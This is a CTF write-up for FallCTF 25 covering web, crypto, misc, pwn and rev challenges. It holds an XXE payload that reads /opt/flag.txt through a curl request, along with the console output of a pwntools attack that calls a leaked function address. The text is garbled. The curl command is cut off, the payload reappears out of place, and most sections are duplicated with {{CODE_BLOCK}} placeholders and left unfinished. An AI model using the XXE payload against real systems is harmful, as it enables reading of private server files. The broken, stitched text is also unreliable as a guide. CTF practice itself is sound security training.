FallCTF 25

web

Aggie HTTP

This one is mostly a protocol-formatting puzzle, not a crypto or pwn trick. The service speaks a tiny variant of HTTP where the only real difference is the protocol token: AHTTP/1.1 instead of HTTP/1.1. So normal HTTP/1.1 requests will likely be rejected; you must send requests whose request-line ends with AHTTP/1.1. After that, treat it exactly like HTTP/1.1: include Host: and terminate headers with \r\n\r\n.

Slop Shoveler

Payload to send
Post XML (not JSON) with a DOCTYPE that defines an external entity pointing at file:/opt/flag.txt, then use that entity inside <id>:

<!DOCTYPE x [ <!ENTITY xx SYSTEM "file:/opt/flag.txt"> ]> <req><id>&xx;</id></req>

Note:

One-liner (curl)

curl -sk 'https://slop-shoveler.fallctf.cybr.club/load-image' \
  -H 'Content-Type: application/xml' \
  --data-binary 

{"error":"Invalid ID: looks like you hit gold! gigem{s10pp3rs_l0v3_XXE} "}



## crypto
### Rooting For e=2
**Challenge Description**:
I don't really get why e needs to be relatively prime to φ(n) in RSA. Just pick the super easy e=2.

n = 959b21db92b7710c472fc554cfadc278ce6a1fc54926b243b7b9bdacee2b26830c1329759c5010a7b8cb0b7624af6923aec1f6a2a24bb40499d54577e6a14e044d2bfe4c9d75d173a6905d06a7ea6a388f0f29c58d3628abafcdc91678dd6b857ac446f655413302c37f45f233354bdb5537e37b19b38e86ab85103fbf3f39a9


With

a = 4c32be5ce1e7a7a5361eaf6f4e697421d2d3a7d79e55995d99d68c1120efaf4a5a3753a748bf94e173e84a29ecfe21a7f6302fb05dd5b06769867791b3a262685e42de91100470314db69fb6d39c6adfb301c84f25c5894dc6b5fdd6ad3b7d6cefb52d9cecfaf07a52b32a36da05f90f51ce1d745429991efe38426f7135fd13

b = 3202a36b255aa5115c345c2256a8efd2f1d7b5faeb2028910a3af3f0cf21f5857ee4ae5e70ced9efbba0aeb2d79a3d30f797423b6ad79d2dd48f22dff5ebeabb99777b5ba8c3edf858f74c892512a6abbd3bbdf2841450b75437437742f1f5fbd80cc2599c0df21b6256a5718058f887b294275c93388f25e8cbc14368f04918


Squaring them took only around 8 milliseconds!

I encrypted the flag. I doubt you can crack this!

c = 75c84c2fa98ffad69a9b8c6fb42a3bd90bda78e240874e


## misc
### Gitting Over It
Search commit history and blobs for the flag string (e.g. `gigem{`):

quick: show every object reachable and grep their contents

git rev-list --all | while read rev; do
git ls-tree -r --name-only "rev" | while read f; do # retrieve blob from this commit and search for the flag git show "rev:$f" | grep -i --color=never -H "gigem{" && echo "found in rev:f"
done
done


gigem{maybe_the_real_flag_was_the_friends_we_made_along_the_way}


## pwn
### Stranded
this is the simplest kind of remote control-flow puzzle: the program prints the runtime address of `vuln`, and you can type any hex address to call it (as a function pointer). So all you need to do is:
1. Determine the **offset** between `home` and `vuln` in the binary you were given locally,
2. Read the leaked runtime `vuln` address from the remote program,
3. Add the offset to that leaked address to compute the runtime address of `home`,
4. Send that address in hex (with a newline). The remote process will call `home()` and print the flag.

Below I give a compact pwntools exploit that does exactly that. It assumes you have the challenge binary `./stranded` locally (the one built from `stranded.c`) in the same directory where you run the script. The script computes `offset = elf.symbols['home'] - elf.symbols['vuln']` locally, connects to the remote service, parses the leaked `vuln` address, computes `target = leaked + offset`, and sends it.

Save this as `exploit_stranded.py` and run it.

└─$ python3 exploit_stranded.py
[*] '/home/macc/fall_ctf/stranded/stranded/stranded'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
[+] local vuln: 0x1269
[+] local home: 0x11fa
[+] offset home - vuln = 0x-6f
[+] Opening connection to fallctf.cybr.club on port 443: Done
🛰️ You're adrift in deep space. Your only hope is to hack the thruster.

🔴 WARNING: Main thruster failure!
Your malfunctioning thruster is at: 0x55e59210d269
Point thruster to (hex address)>
[+] leaked vuln address = 0x55e59210d269
[+] calling home at runtime address = 0x55e59210d1fa
/home/macc/fall_ctf/stranded/stranded/exploit_stranded.py:57: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.sendline(hex(target))
[+] Receiving all data: Done (96B)
[*] Closed connection to fallctf.cybr.club port 443

🚀 Thrusters online! You're heading home...
gigem


## rev
### Uh What*
**Challenge description:**

Uh my file got corrupted but I swear it had some really important information with gigem{...}.Can you help me recover my file all I have is this executable called uh-what.

Also a wizard told me something about magic to fix it hopefully you can figure it out. goodluck :)

**Files given:**
uh-what

<!DOCTYPE x [ <!ENTITY xx SYSTEM "file:/opt/flag.txt"> ]>\n<req><id>&xx;</id></req>'

{{CODE_BLOCK_1}}

crypto

Rooting For e=2

Challenge Description:
I don't really get why e needs to be relatively prime to φ(n) in RSA. Just pick the super easy e=2.

{{CODE_BLOCK_2}}

With

{{CODE_BLOCK_3}}

Squaring them took only around 8 milliseconds!

I encrypted the flag. I doubt you can crack this!

{{CODE_BLOCK_4}}

misc

Gitting Over It

Search commit history and blobs for the flag string (e.g. gigem{):

gigem

pwn

Stranded

this is the simplest kind of remote control-flow puzzle: the program prints the runtime address of vuln, and you can type any hex address to call it (as a function pointer). So all you need to do is:

  1. Determine the offset between home and vuln in the binary you were given locally,
  2. Read the leaked runtime vuln address from the remote program,
  3. Add the offset to that leaked address to compute the runtime address of home,
  4. Send that address in hex (with a newline). The remote process will call home() and print the flag.

Below I give a compact pwntools exploit that does exactly that. It assumes you have the challenge binary ./stranded locally (the one built from stranded.c) in the same directory where you run the script. The script computes offset = elf.symbols['home'] - elf.symbols['vuln'] locally, connects to the remote service, parses the leaked vuln address, computes target = leaked + offset, and sends it.

Save this as exploit_stranded.py and run it.

rev

Uh What*

Challenge description:

Uh my file got corrupted but I swear it had some really important information with gigem{...}.Can you help me recover my file all I have is this executable called uh-what.

Also a wizard told me something about magic to fix it hopefully you can figure it out. goodluck :)

Files given:
uh-what